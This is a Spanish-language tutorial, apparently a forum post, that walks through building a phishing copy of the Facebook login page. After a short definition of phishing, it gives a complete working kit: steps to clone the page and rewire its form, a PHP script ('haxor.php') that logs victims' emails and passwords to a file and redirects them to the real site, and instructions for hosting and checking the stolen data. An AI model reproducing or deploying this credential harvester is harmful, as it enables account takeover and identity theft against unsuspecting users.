Antes de continuar con el tutorial, quiero dejar muy claro las definiciones de cada una que vamos
a tocar en este tema; Phishing y/o Scam.

¿Qué es el phishing scam? Es un conjunto de técnicas y mecanismos empleados por los intrusos o hackers con el propósito de robar información personal de un usuario y poder Suplantar su Identidad.

Phishing

El phishing scam consiste en la capacidad por parte de un intruso de duplicar una página Web para hacer creer al
usuario que se encuentra accediendo a la página Web original de su correo electrónico, institución financiera, tienda departamental, institución académica, etc., y no a una página Web falsa alojada en un servidor controlado por él.
Una vez que el intruso tiene implementado el sitio Web falso en Internet, comienza a realizar el envió masivo de correos electrónicos a una infinidad de direcciones de correo. Los correos electrónicos, en su tema y cuerpo del mensaje, usualmente hacen referencia a que el usuario debe acceder al sitio Web de la organización en cuestión (correo electrónico, institución financiera, tienda departamental, etc.) y realizar cambios a su información personal. Los correos electrónicos contienen la dirección Web a la cual el usuario debe acceder para realizar los cambios que se le pide, pero es importante señalar que esta dirección hace referencia al sitio Web falso implementado por el intruso.

 Herramientas a utilizar:Ahora vamos con las aplicaciones que utilizaremos en este tutorial:

• Adobe Dreamweaver CS5 (Sirve cualquier version, sin embargo puedes utilizar cualquier editor de texto).

• Firefox o Internet Explorer (Cualquier navegador web, funciona).

• AppServ - Este programa nos permite instalar a nuestro equipo un servidor web (Con este no es necesario, registrarse en un hosting)

 Tutorial básico PHP - ¿Como hacer un SCAM de cualquier web?: Primeros pasos - "Clonar la web":Primero antes que nada, tenemos que escoger la web a clonar, como a la gente de ahora anda muy metido en esto de las redes sociales, decidí hacer este tutorial para a todas aquellas personas que les gusta.. Me refiero al famoso Facebook.

1-. Descargamos la web en pocas palabras la clonamos.. para eso hacemos "Clic derecho>Guardar como.."


Segundos pasos - "Editando Imputs (Dreamweaver)":1-.Bueno ahora vamos a editar el código HTML con nuestro editor de texto o con el Adobe dreamweaver.
Editamos los IMPUTS y les renombramos tal y como esta en la imagen..

Dirección de correo electronico dentro del Imput tendra como el nombre de "email" le renombramos por "usuario" 

Ahora modificaremos el imput de Contraseña que tendra el nombre de "pass" y lo cambiamos por "contrasena".


Y remplazamos por el nombre de nuestro archivo php (ejemplo: roba.php, en nuestro caso es haxor.php o cualquier nombre.. ya que ese será el archivo que hará todo el proceso para guardar el correo y contraseña de la victima) ejemplo como lo puse yo:
<form method="POST" action="haxor.php"
2.-Ahora guardamos el archivo (CTRL - S para poder guardarlo automáticamente).

Cuartos pasos - "Creando el roba datos (haxor.php)":

 Este archivo hace todo el proceso, es decir se encargara de guardar los datos de la victima en es un archivo llamado "leeme.html".  1.- Bien vamos a crear un archivo de texto o nos vamos al Dreamweaver y elijamos PHP.

Contenido del archivo "haxor.php" o dependiendo el nombre que le distes cuando editaste el HTML de facebook..

 2.- Colocamos el siguiente código, y lo guardamos como "haxor.php" o dependiendo el caso (Terceros pasos en el 1er primer paso).
<?
/*
Este archivo es el que procesa todos los datos de la victima y lo guarda en un archivo (leeme.html <- Aqui se guardaran los datos).
*/

#haxor.php
// Asigna el valor a las variables del usuario y contraseña
$usuario = $_POST['usuario'];
$contraseña = $_POST['contrasena'];
//Asigna el valor a la variable donde se guarda el usuario y contraseña
$guardame = fopen('leeme.html','a+');
fwrite($guardame,
"<br/><b>Usuario:</b>".$usuario.
"<br/><b>Contrasena:</b>".$contraseña." ");

fclose($guardame);
//Redirecciona a la web original (facebook)
echo "<meta http-equiv='refresh' content='1;url=http://www.facebook.com'>"
?>
Adjunto el archivo "haxor.php"

Descargar archivo; haxor.php

Quintos pasos - "Subiendo los archivos a un servidor web (Localhost o Hosting)":
1.- Ahora solo nos queda subir todos los archivos que tenemos, tendrás que tenerlos de la siguiente manera, tal y como se muestra en la imagen:

2 Archivos 1 Carpeta - Así deberás tenerlos

2.- ¿Y.. ahora que? Bien, ahora es momento de moverlos a nuestra carpeta de www de nuestro localhost o subirlo a un web hosting (Yo utilice en este tutorial el localhost, para no liarme tanto en buscar un buen host gratis). 

Ahora vamos a ver si funciona el SCAM y por ultimo ver donde se guardan las contraseñas:


3-. Y si revisamos el directorio, donde tenemos todos los archivos de Facebook, veremos que se creo un archivo con el nombre de "leeme.html".. (Este archivo contendrá todos los datos de la victima).

Se creo el archivo; leeme.html

Abrimos el leeme.html, haber si es cierto que se guardaron el correo y la contraseña:

Y eso es todo, hemos llegado el fin de este tutorial, espero y le hayan entendido, dejen todos sus comentarios y dudas respecto al tema.
Próximamente haré un tutorial del mismo SCAM utilizando MySQL y PHP, con un buscador de victimas.

Descargar archivo; scam facebook